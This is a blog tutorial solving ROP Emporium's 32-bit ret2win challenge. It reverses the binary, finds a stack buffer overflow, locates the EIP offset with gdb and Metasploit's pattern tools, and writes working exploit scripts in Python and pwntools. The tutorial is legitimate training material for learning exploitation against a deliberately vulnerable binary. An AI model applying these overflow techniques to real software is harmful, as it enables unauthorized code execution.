Solving ret2win — ROP Emporium Part 1

Hey Everyone!

How’s it going? Today, we’re going to be talking about ROP emporium, a great site for learning about return oriented programming, or ROP for short. ROP is something I’ve meaning to learn for a long time, as I work to prepare for the Cracking the Perimeter course by Offensive Security.

Today, we’re going to start off with the basics, beginning with ROP Emporium’s ret2win challenge. This challenge is focused on creating a buffer overflow condition that returns to a function which prints the flag. Let’s get started with explaining what ROP is, then get into reversing the application and then building an exploit!

What is Return-oriented programming

At it’s core, return-oriented programming is an exploitation technique which attackers use to execute code even in the face of security restrictions such as executable stack protections (e.g. NX). This is achieved commonly be re-using instruction sequences that are already part of the binary or target being exploited. Each of these instruction sequences that is used is called a gadget. Generally, a gadget will end with a return statement, but we’re getting ahead of ourselves. Let’s dig in and see what this theory actually means in practice.

Reversing the 32-bit ret2win binary

We’re going to start off today with the 32-bit ret2win binary, as 32-bit is usually a bit easier to get started with. You can download this from this page or directly from this link. Once unzipped, you’ll have a folder with a ret2win executable and flag.txt file.

First thing we need to do with a new executable is figure out what format it’s in (e.g. ELF, EXE, etc.). The easiest way to do this that I’ve found is to use the file command. Using this, we see that this is an elf binary, meaning that it’s designed to be run on a unix system.


~/D/ret2win32 ❯❯❯ ls
flag.txt ret2win32
~/D/ret2win32 ❯❯❯ file ret2win32
ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=70a25eb0b818fdc0bafabe17e07bccacb8513a53, not stripped

So first things first, let’s open this up in Binary Ninja, though you could use other tools like gdb, peda, radare2, etc. When we open it, we’re presented with the _start method’s instruction set.

ret2win _start disassembly

ret2win _start instructions

To start off, we can see at the top of left sidebar a list of functions. We are currently viewing the _start method, as indicated by the blue highlighting of the method name in the function list. Below that, we see a number of other methods, with three that stand out immediately:

  • main
  • pwnme
  • ret2win

These are of interest to us because main seems to be an entry point we’ll want to analyze, pwnme hints that potentially this is the function that we will need to exploit, and ret2win may be where we need to return to when we complete this challenge. Looking at the graph of the _start function, we see that there we setup the application and then call the main function at the bottom of the code, using the:


push main {var_20}
call __libc_start_main

If we double click on the word main, we can view the graph for that function:

ret2win main function

ret2win main function

If you aren’t comfortable with assembly language, the above structure may be a bit difficult to read. We can simplify this if we wanted to by click on Options in the bottom right of Binary Ninja and selecting either Low Level IL or Medium Level IL, which will convert the output into Binary Ninja’s intermediate language. Binary Ninja’s documentation, located here, discusses the structure of it in more depth. The intermediate language is usually easier to understand and is consistent across architectures. In this case, we see the following when we convert to the intermediate language.

Main function low intermediate language

Main function low intermediate language

Main function medium intermediate language

Main function medium intermediate language

This makes things much clearer if you’ve worked in the C programming language. The main thing that we see happening here is that the application prepares stdout and stderr, then prints the challenge information to the screen, and finally calls the pwnme method before exiting. Let’s drill into the pwnme method and see what’s happening there. I’ll include both the assembly and the medium IL to help those who may not be comfortable with the assembly (don’t worry, I’ve been there, and in complex programs am still there — you’re in good company).

pwnme function assembly

pwnme function assembly

pwnme function medium intermediate language

pwnme function medium intermediate language

So if you have been doing exploit development for awhile, you may notice the buffer overflow in this assembly or IL pretty quickly, if you’re not, no worries, let’s step through it. First, we see that the pwnme function allocates a 32 byte (0x20 hex) area of memory. The tool prints out the information about the tool, reads data from stdin using fgets, then returns. Let’s take a quick detour and look at the fgets function signature from http://www.cplusplus.com/reference/cstdio/fgets/:


char * fgets ( char * str, int num, FILE * stream );

So, when the medium IL shows us:


eax_1 = fgets(var_3c_1, 0x32, var_34)

that means that we’re going to load data from var_34 (which is our stdin stream), up to 0x32 characters (50 in decimal / how we “normally” count), and load that into var_3c_1. Now, looking at it again, the medium IL will unintentionally hide a few key details. If we go back to the assembly, we’ll see:


push eax {var_34}
push 0x32 {var_38}
lea eax, [ebp-0x28 {var_2c}] push eax {var_2c} {var_3c_1}
call fgets

The important is in the load effective address (lea) command there, where it loads 0x28 or 40 bytes of memory into var_2c. This means that theoretically if we send it more than 40 bytes, it will cause a crash condition as we’ll exceed it’s expected bounds. We can verify this by sending a 41 byte payload.

41-byte payload causes a segmentation fault

41-byte payload causes a segmentation fault

So at this point we have a valid crash scenario, but we’re not sure if we’re overwriting EIP yet or overwriting a return address so that we can gain control of execution. We’ll need to identify this to successfully exploit the binary.

Exploiting the 32-bit ret2win binary

To see if we do, we’ll run the program with gdb, and then check the registers. We first use python to generate a 50 byte payload (which corresponds to the maximum fgets will read), and then start the program using gdb with -q flag to suppress version information on startup.

When we pass the payload, we see a segmentation fault. Using info registers to view the registers, we see that we did gain control of EIP, which is where we need to place our target location.

successfully overwritten EIP

successfully overwritten EIP

So now the question is where is EIP and where do we want to go. The where do we want to go is luckily pretty simple for this challenge, so we’ll start there. Earlier we had mentioned that the ret2win function was potentially of interest to us. If we pull that up, in binary ninja, we see that it’s going to give us our flag contents.

ret2win function disassembly

ret2win function disassembly

So this seems to be the function that we want to jump to. We’ll need to get it’s offset and then put that into EIP so that we can execute it. The real question though is, where exactly is EIP? We’ve sent the program 50 A’s, but that is useless for identifying the four A’s that are getting loaded into EIP. Luckily, Metasploit’s pattern_create and pattern_offset to the rescue!


root@kali:/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 50
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
root@kali:/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges# gdb ret2win32 -q
Reading symbols from ret2win32...(no debugging symbols found)...done.
(gdb) run
Starting program: /mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges/ret2win32
ret2win by ROP Emporium
32bits
.
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
.
> Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
.
Program received signal SIGSEGV, Segmentation fault.
0x35624134 in ?? ()
(gdb) info registers
eax 0xffffd290 -11632
ecx 0xf7f9e89c -134616932
edx 0xffffd290 -11632
ebx 0x0 0
esp 0xffffd2c0 0xffffd2c0
ebp 0x62413362 0x62413362
esi 0xf7f9d000 -134623232
edi 0x0 0
eip 0x35624134 0x35624134
eflags 0x10286 [ PF SF IF RF ] cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) q
A debugging session is active.
Inferior 1 [process 4524] will be killed.
Quit anyway? (y or n) y
root@kali:/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 50 -q 0x35624134
[*] Exact match at offset 44

Seems that we have control of EIP at offset 44 in our payload. We can start to build out our skeleton exploit:


root@kali:/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges# cat exploit.py
#!/usr/bin/env python
prefix_padding = 'A'*44
eip = 'BBBB'
suffix_padding = 'C'*(50-len(prefix_padding)-len(eip))
print(prefix_padding + eip + suffix_padding)
root@kali:/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges# python exploit.py
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCC

With that together, lets see if the B’s successfully overwrite EIP, and we see 0x42424242 in EIP:

successful control of EIP register

successful control of EIP register

Success! We’ve gained control of EIP, let’s now locate the ret2win function within the executable:


root@kali:/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges# gdb ret2win32 -q
Reading symbols from ret2win32...(no debugging symbols found)...done.
(gdb) info functions ret2win
All functions matching regular expression "ret2win":

Non-debugging symbols:
0x08048659 ret2win
(gdb)

So it looks like the function is at 0x08048659. Let’s replace the B’s in our payload with the return address of ret2win:


root@kali:/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges# cat exploit.py
#!/usr/bin/env python
prefix_padding = 'A'*44
# 0x08048659 ret2win
# we reverse the address order for x86's little-endian nature
eip = '\x59\x86\x04\x08'
suffix_padding = 'C'*(50-len(prefix_padding)-len(eip))
print(prefix_padding + eip + suffix_padding)

Because the ret2win tool just reads from stdin, we can pipe this directly into ret2win to trigger the exploit:

successful manual exploitation

successful manual exploitation

Converting our exploit to pwntools

While this works, we want to make things easier for ourselves. The best way to do this is to use pwntools. We’ll install pwntools using pip install -U pwntools, which at the time of writing this is version 3.12.0. This tutorial should continue to function for the 3.x version branch, but if we’re on 4.x when you’re reading this, the tutorial may no longer apply.

With pwntools installed, we want to start of by importing it and loading the elf, since we’re going to need to leverage information from it. If we just load the binary and setup our context, our skeleton will be:


root@kali:/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges# cat pwntools-exploit.py
#!/usr/bin/env python
from pwn import *
context.update(binary='ret2win32', log_level='info')
ret2win_binary = ELF('ret2win32')
root@kali:/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges# python pwntools-exploit.py
[*] '/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges/ret2win32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

Cool, so it seems to be successfully loading our binary. We know that we want to have our program to return to the ret2win function’s address. We can grab that by finding the ret2win function in the function list, and getting it’s address like so:


ret2win_binary.functions.ret2win.address

Now, we want this to be formatted in little endian format, so we’ll wrap that in p32 to get our little-endian formatted return address. This will give us something like:


#!/usr/bin/env python
from pwn import *
context.update(binary='ret2win32', log_level='info')
ret2win_binary = ELF('ret2win32')
ret2win_addr = ret2win_binary.functions.ret2win.address
info('ret2win function address at {a}'.format(a=hex(ret2win_addr)))
eip_addr = p32(ret2win_addr)

If we run this, we’ll see:


[*] '/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges/ret2win32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] ret2win function address at 0x8048659

When we compare that to our original exploit we did manually, things match! Great start. Lets find where EIP is located though. We can do this by using the cyclic function in pwntools to generate a pattern, then use the process function to start the process, send our buffer, and cause the crash to occur. This will generate a core dump, which is the state of things at the time of the crash. Using pwntools Coredump class, we can then read the information about the register values. When this is coded, this section will look like so:


buf = cyclic(50)
#
info('Starting process to location the value of EIP at the crash time')
# Start the elf, and wait for it to be ready for input
p = process(ret2win_binary.path)
# Wait till the process is ready for our input
p.recvuntil('> ')
# Send our exploit
p.sendline(buf)
# Wait for the crash to occur
p.wait()
#
# The program should have crashed now
info('Loading core dump to identify the cause of the crash')
core = Coredump('core')
eip_val = core.eip
info('EIP contained {v} at the time of the crash'.format(v=hex(eip_val)))
offset = cyclic_find(eip_val)
info('EIP is located at offset {o}'.format(o=int(offset)))

This will print out:

EIP offset located using pwntools

EIP offset located using pwntools

With the EIP offset found, we’ll wrap things up by sending our desired buffer, causing us to receive the flag!


info('Sending targeted exploit to process')
exploit_buf = 'A'*offset + eip_addr + 'C'*(50-offset-len(eip_addr))
p = process(ret2win_binary.path)
p.recvuntil('> ')
p.sendline(buf)
p.interactive()

For a final exploit of:

#!/usr/bin/env python
#
from pwn import *
from os import remove
#
# Prepare the binary
context.update(binary='ret2win32', log_level='info')
ret2win_binary = ELF('ret2win32')
#
# Find our return address
info('locating ret2win address')
ret2win_addr = ret2win_binary.functions.ret2win.address
info('ret2win function address at {a}'.format(a=hex(ret2win_addr)))
eip_addr = p32(ret2win_addr)
#
buf = cyclic(50)
#
info('Starting process to location the value of EIP at the crash time')
# Start the elf, and wait for it to be ready for input
p = process(ret2win_binary.path)
# Wait till the process is ready for our input
p.recvuntil('> ')
# Send our exploit
p.sendline(buf)
# Wait for the crash to occur
p.wait()
#
# The program should have crashed now
info('Loading core dump to identify the cause of the crash')
core = Coredump('core')
eip_val = core.eip
info('EIP contained {v} at the time of the crash'.format(v=hex(eip_val)))
offset = cyclic_find(eip_val)
info('EIP is located at offset {o}'.format(o=int(offset)))
core = None
#
info('Sending targeted exploit to process')
exploit_buf = 'A'*offset + eip_addr + 'C'*(50-offset-len(eip_addr))
p = process(ret2win_binary.path)
p.recvuntil('> ')
p.sendline(exploit_buf)
p.interactive()

Which will give us:

Successful automated exploitation using pwntools

Successful automated exploitation using pwntools

Kevin Kirsche

Author Kevin Kirsche

Kevin is a Principal Security Architect with Verizon. He holds the OSCP, OSWP, OSCE, and SLAE certifications. He is interested in learning more about building exploits and advanced penetration testing concepts.

More posts by Kevin Kirsche

Leave a Reply